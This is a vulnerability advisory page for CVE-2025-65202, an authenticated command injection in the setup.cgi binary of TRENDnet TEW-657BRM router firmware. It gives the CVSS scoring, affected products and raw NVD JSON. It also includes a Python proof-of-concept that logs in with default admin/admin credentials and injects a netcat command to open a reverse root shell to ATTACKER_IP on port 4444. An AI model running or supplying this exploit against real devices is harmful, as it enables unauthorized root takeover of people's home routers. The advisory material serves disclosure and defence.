Security Vulnerability Report
中文
CVE-2025-65202 CVSS 8.0 HIGH

CVE-2025-65202

Published: 2025-11-26 21:15:47
Last Modified: 2025-12-05 13:34:33

Description

TRENDnet TEW-657BRM 1.00.1 has an authenticated remote OS command injection vulnerability in the setup.cgi binary, exploitable via the HTTP parameters "command", "todo", and "next_file," which allows an attacker to execute arbitrary commands with root privileges.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:trendnet:tew-657brm_firmware:1.00.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:trendnet:tew-657brm:-:*:*:*:*:*:*:* - NOT VULNERABLE
TRENDnet TEW-657BRM 1.00.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-65202 PoC for TRENDnet TEW-657BRM Command Injection # Target: TRENDnet TEW-657BRM 1.00.1 # Vulnerability: Authenticated OS Command Injection in setup.cgi target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1" username = "admin" password = "admin" # Authentication session = requests.Session() auth = session.post(f"http://{target_ip}/login.cgi", data={ "username": username, "password": password }) # Command injection via 'command' parameter # Inject reverse shell command payload = ";nc -e /bin/bash ATTACKER_IP 4444 #" inject_url = f"http://{target_ip}/setup.cgi" params = { "command": payload, "todo": "save", "next_file": "../index.asp" } response = session.get(inject_url, params=params) print(f"[*] Exploit sent. Check your listener on port 4444") print(f"[*] Response status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65202", "sourceIdentifier": "[email protected]", "published": "2025-11-26T21:15:46.533", "lastModified": "2025-12-05T13:34:32.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TRENDnet TEW-657BRM 1.00.1 has an authenticated remote OS command injection vulnerability in the setup.cgi binary, exploitable via the HTTP parameters \"command\", \"todo\", and \"next_file,\" which allows an attacker to execute arbitrary commands with root privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:trendnet:tew-657brm_firmware:1.00.1:*:*:*:*:*:*:*", "matchCriteriaId": "1BE1CB11-EC54-4B31-AD1C-CE00DD8CFAA7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:trendnet:tew-657brm:-:*:*:*:*:*:*:*", "matchCriteriaId": "9CE54282-3202-477F-B965-3AF302F5DEC7"}]}]}], "references": [{"url": "https://github.com/WhereisRain/TEW-657BRM", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}